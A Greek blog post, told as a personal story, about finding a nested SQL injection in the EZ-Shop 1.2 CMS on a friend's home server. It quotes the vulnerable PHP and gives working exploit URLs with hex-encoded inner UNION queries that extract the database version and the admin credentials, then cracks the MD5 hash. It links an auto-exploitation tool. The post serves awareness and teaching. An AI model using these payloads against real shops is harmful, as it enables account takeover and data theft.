RSS

Η πονεμένη ιστορία ενος.. e-shop.

05 Dec

Ομολογουμένως, ήταν αρκετά δύσκολο να ετοιμαστεί ένα ακόμα τεχνικό άρθρο και μάλιστα μέσα στο καλοκαίρι. Έτσι σκέφτηκα, να ελαφρύνω λίγο την ατμόσφαιρα και να σας αφηγηθώ μια πραγματική ιστορία. Σε αυτό το άρθρο θα σας αφηγηθώ μια πραγματική ιστορία δύο φίλων, ενός e-shop και …ενός πολύ σοβαρού κενού ασφαλείας.

Ας πάρουμε λοιπόν, τα πράγματα με τη σειρά. Η ιστορία που θα σας περιγράψω, ξεκινάει πριν από μερικούς μήνες, όταν ένας καλός μου φίλος – ηχολήπτης στο επάγγελμα – αποφάσισε να ανοίξει ένα e-shop στο οποίο θα εμπορευόταν συστήματα ήχου και εικόνας.

Μετά από αρκετό ψάξιμο στο internet και μια έρευνα αγοράς που πραγματοποίησε σε αρκετές εταιρίες όπου αναπτύσσουν web εφαρμογές και ιστοσελίδες, αποφάσισε ότι τον συνέφερε οικονομικά αν καθόταν να έστηνε μόνος του το e-shop.

“Σιγά, πόσο δύσκολο να είναι;” – σκέφτηκε.

Φυσικά για να μειώσει ακόμα περισσότερο το κόστος, προτίμησε ένα Open Souce CMS (Content Managment System). Έτσι χωρίς να το ψάξει και πολύ, αποφάσισε να κατεβάσει την τελευταία έκδοση (1.2) του EZ-Shop και να την εγκαταστήσει.

Το EZ-Shop για όποιον δε το γνωρίζει, είναι μια out of the box e-Commerce λύση αρκετά εύκολη στην εφαρμογή και τη χρήση. Για το στήσιμο λοιπόν της υποδομής του e-shop ζήτησε τη βοήθεια του αδερφού του οποίος ήταν φοιτητής σε γνωστό πανεπιστήμιο πληροφορικής στην Αθήνα. Λίγες ώρες αργότερα, η υποδομή για να πατήσει πάνω το e-shop του φίλου μου ήταν έτοιμη!

Αφού πέρασαν μερικές μέρες (και χωρίς να γνωρίζω ότι είχε ήδη ξεκινήσει το e-shop) με παίρνει τηλέφωνο, ώστε το βράδυ να πέρναγα απ’ το σπίτι του για καμιά μπύρα. Έτσι και έγινε!

Το βράδυ, πάνω στη συζήτηση, μου λέει ότι ξεκίνησε εκείνο το e-shop που σκεφτόταν εδώ και καιρό να ανοίξει αλλά ακόμα δεν το είχε βγάλει δημόσια. Το είχε εγκαταστήσει προσωρινά σε ένα μηχάνημα Fedora 14 που έχει στο σπίτι. Του ζήτησα να το δω! Αυτό που αντίκρισα έμοιαζε αρκετά με την εικόνα 1. Μετά από μια γρήγορη ματιά στη σελίδα σκέφτηκα ότι κάτι δεν πήγαινε καλά.

Εικόνα 1 : Το e-shop, όπως ακριβώς ήταν εγκατεστημένο στο μηχάνημα του φίλου μου, με το Fedora 14.

Έβγαλα το laptop απ’ την τσάντα και το συνέδεσα στο δίκτυο. Ήθελα να ρίξω μια πιο προσεχτική ματιά. Μετά από μια γρήγορη αναζήτηση στο internet, ανακάλυψα ότι δυστυχώς το συγκεκριμένο CMS έπασχε από SQL injection. Το vulnerability μάλιστα, ήταν κάπως πιο περίεργο απ’ όσα είχα συναντήσει μέχρι τώρα.

Σε τέτοιες περιπτώσεις, το καλό αλλά και το κακό ταυτόχρονα με τις εφαρμογές ανοιχτού κώδικα, είναι ότι όλος ο κόσμος έχει πρόσβαση ώστε να διαπιστώσει ιδίοις όμμασι, αν υπάρχει ή όχι κάποιο κενό ασφαλείας σε μία εφαρμογή.

Κατέβασα λοιπόν και εγώ στο μηχάνημα μου την ίδια ακριβώς έκδοση του EZ-Shop που έτρεχε και ο φίλος μου στο server του και άρχισα να ψάχνω ένα – ένα τα αρχεία που είχε μέσα.

Οι γραμμές 249 – 260 του αρχείου “specialoffer.php” ήταν κατατοπιστικές :

....
249.	<?php
250.            $speid=$_REQUEST['specialid'];
	         // ^--- Η μεταβλητή “$speid” περνάει απ' το $_REQUEST, χωρίς να ελέγχεται επαρκώς.
251.           $sql="select * from tblprodgiftideas where intgiftideaid='$speid'";
	       // ^--- Το αποτέλεσμα  του πρώτου query.
252.            $resgid=$obj_db->select($sql);
253.           if(count($resgid)>0)
254.           {
255.               for($p=0;$p<count($resgid);$p++)
256.                {
257.                   //echo $resgid[$p]['intprodid']."<br>";
258.                    $prid=$resgid[$p]['intprodid'];
259.             $sql6="select * from tblproddesc where intid='$prid'";
	         // ^--- Το αποτέλεσμα του δεύτερο query.
260.	       $resprname1=$obj_db->select($sql6);

....

283.	<td height="25" colspan="2" class="fntstyle">&nbsp;<?php echo $resprname1;?></td>
 	  // Εκτύπωση του αποτελέσματος  του δεύτερου query. -----------------^
....

Το πρόβλημα ξεκινά, με το ότι δεν γίνεται έλεγχος στο τι μπορεί να εισάγει ο χρήστης στην παράμετρο “specialid”. Στη συνέχεια, το αποτέλεσμα που θα επιστρέψει το πρώτο query της γραμμής 251, χωρίς να είναι ορατό κάπου, στέλνεται σε ένα δεύτερο query στη γραμμή 259. Το αποτέλεσμα του δεύτερου query τυπώνεται τελικά στη γραμμή 283.

Η εκμετάλλευση του vulnerability -λόγω ιδιομορφίας του παραπάνω κώδικα- ήταν κάπως σύνθετη. Για να επιτευχθεί, χρειάστηκε ένα SQL injection στο οποίο όμως, αντί να εμφανίζει κάποια πληροφορία μέσα απ’ τη βάση δεδομένων σε μία ευπαθή στήλη (π.χ στη 3η), περιείχε εκεί, ένα δεύτερο SQL injection.

Φανταστείτε κάτι σαν μια babushka. Συνδυάζει δυο sql injections σε ένα, το ένα μέσα στο άλλο. Για περισσότερη ανάλυση πάνω στο συγκεκριμένο vulnerability διαβάστε εδώ.

Χρησιμοποίησα δύο SQL injection queries:

  • Το 1o SQL injection query = ‘1 union select 1,2,3’
  • Το 2ο SQL injection query = ‘1 union select 1,2,3,4,5#

Εκχώρησα το δεύτερο SQL injection query μέσα στο πρώτο (στην ευπαθή στήλη), αλλά πριν το κάνω αυτό, μετέτρεψα όλο το δεύτερο query σε μορφή hex :

“0x312720756e696f6e2073656c65637420312c322c332c342c3523”

Το τελικό SQL injection πήρε, μια γενική μορφή σαν:
‘1 union select 1,2,το_2ο_query_σε_hex

Αμέσως μετά εκτέλεσα, την παρακάτω εντολή ενάντια στο e-shop αλλά προσαρμοσμένη ανάλογα με τις ανάγκες μου δηλαδή:

http://192.168.178.33/eshop/specialoffer.php?specialid=1&#8242; union select 1,2,0x312720756e696f6e2073656c65637420312c322c332c342c3523%27

Κάπως έτσι λοιπόν, ξεκίνησαν τα προβλήματα για το φίλο μου. Εμφανίστηκαν οι στήλες 3, 4 (εικόνα 2) πράγμα που σήμαινε ότι θα μπορούσα να τις χρησιμοποιήσω στη συνέχεια της επίθεσης για να εμφανίσω χρήσιμες πληροφορίες μέσα απ’ τη βάση δεδομένων.

Εικόνα 2 : Οι ευπαθείς στήλες 3,4. Μπορώ μέσα από εκεί να εμφανίσω τις πληροφορίες θέλω μέσα απ’ τη Βάση δεδομένων.

Το πρώτο πράγμα που ήθελα να μάθω, ήταν η έκδοση του SQL Server που έτρεχε στο μηχάνημα του φίλου μου. Για να το πετύχω αυτό, ως γνωστόν, έπρεπε να αντικαταστήσω στο προηγούμενο query το “3” ή το “4” (δηλαδή τις ευπαθείς στήλες) με το “@@version” το οποίο θα μου επέστρεφε την έκδοση του SQL server.

Ετσι και έκανα.

Αφού μετέτρεψα το query: 1′ union select 1,2,@@version,4,5# σε hex, το ενσωμάτωσα στο αρχικό μου SQL injection :

http://192.168.178.33/eshop/specialoffer.php?specialid=1&#8242; union select 1,2,0x312720756e696f6e2073656c65637420312c322c404076657273696f6e2c342c3523%27

Mου επέστρεψε “5.1.56”, την έκδοση του SQL server δηλαδή, καθώς και την στήλη “4” που δε τη χρησιμοποίησα για να εμφανίσω κάποια πληροφορία. (εικόνα 3).

Εικόνα 3 : Η έκδοση της βάσης δεδομένων που χρησιμοποιείτε στο e-shop είναι η “5.1.56”

“Θα πρέπει να του δείξω κάτι πιο τρανταχτό για να καταλάβει πόσο προβληματικό ήταν το CMS που εγκατέστησε χωρίς καν να το ψάξει.” – σκέφτηκα.

Αποφάσισα, να του εμφανίσω το username και το password που χρησιμοποιούσε για να συνδεθεί στο e-shop, με το λογαριασμό του administrator. Σε αυτό το σημείο και αντί να κάτσω να ψάξω όλα τα πιθανά ονόματα για πίνακές και στήλες, που μπορεί να υπήρχουν στο e-shop, σκέφτηκα να εκμεταλευτω άλλο ένα “μειονέκτημα” των open source εφαρμογών. Θα βρω μέσα απ’ τον κώδικα του EZ-Shop πώς ονομάζονται οι στήλες που περιέχουν το username και το password του administrator, καθώς και το όνομα του πίνακα που τις “φιλοξενεί”. Όλα αυτά βέβαια, στη περίπτωση που ο φίλος μου είχε αφήσει τα default ονόματα.

Μετά απο λίγο ψάξιμο στο κώδικα, ανακάλυψα οτι στη γραμμή 37 του αρχείου “/admin/admin.php” υπάρχει το παρακάτω:

37. $sql = "INSERT INTO `tbladmin` (`varadminfname` , `varadminname` , `varpassword` ,`varemail`, `intstatus`,`ttLastLogginDatetime` )

Bingo! Στον πίνακα με την ονομασία “tbladmin”, υπάρχουν οι στήλες “varadminfname” , “varadminname” , “varpassword” ,|varemail”, “intstatus” και “ttLastLogginDatetime”.

Πλέον, μπορούσα να χρησιμοποιήσω αυτά τα στοιχεία ώστε να εξάγω πληφοριες όπως για παράδειγμα, το username, το password, το email κτλ του administrator μέσα απ’ τη βάση δεδομένων.

Μετέτρεψα το query :
1′ union select 1,2,’ union select 1,2,varadminname,varpassword,5 from tbladmin#’
σε μορφή hex.

http://192.168.178.33/eshop/specialoffer.php?specialid=1&#8242; union select 1,2,0x2720756e696f6e2073656c65637420312c322c76617261646d696e6e616d652c76617270617373776f72642c352066726f6d2074626c61646d696e23%27

Ετσι, μου επεστρέψε σαν αποτέλεσμα στην στήλη 3 το “Admin” ενώ στην στήλη 4 το “5f4dcc3b5aa765d61d8327deb882cf99”. Είναι το username του administrator (“Admin”) και το password του αλλα σε MD5 encryption. Δοκιμάζω, να σπάσω το MD5 του password που βρήκα με τον πιο απλό -και γρήγορο- τρόπο απ’ όλους, δηλαδή ψάχνοντας στο google :o) .


Εικόνα 4 :Το username και το password (σε MD5 encryption) του administrator.

Λίγη ώρα αργότερα βρήκα ότι το MD5 “5f4dcc3b5aa765d61d8327deb882cf99” αντιστοιχεί στη λέξη “password”. Φωνάζω το φίλο μου και του το λέω! Σοκαρισμένος απ’ την εξέλιξη των πραγμάτων, με διαβεβαίωσε ότι θα πήγαινε σε κάποια εταιρία να τον βοηθήσει να στήσει το e-shop του.

Κάπως έτσι τελειώνει η ιστορία, δίνοντας μας ένα μάθημα σχετικά με το πόσο προσεκτικοί θα πρέπει να είμαστε όταν αποφασίζουμε να εγκαταστήσουμε μια ηλεκτρονική υποδομή στην οποία μέσα μάλιστα θα υπάρχουν ευαίσθητα προσωπικά δεδομένα, όπως για παράδειγμα αριθμοί πιστωτικών καρτών κτλ.

Υ.Γ.: Ένα εργαλείο που ανέπτυξα, με την ονομασία EZ-ShoPwner [EZ-Shop’s PWNING tool] v.0.1 για αυτόματο pwining του EZ-Shop, θα βρείτε εδώ.

 
Leave a comment

Posted by on December 5, 2011 in It's Greek to Me

 

Tags: ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: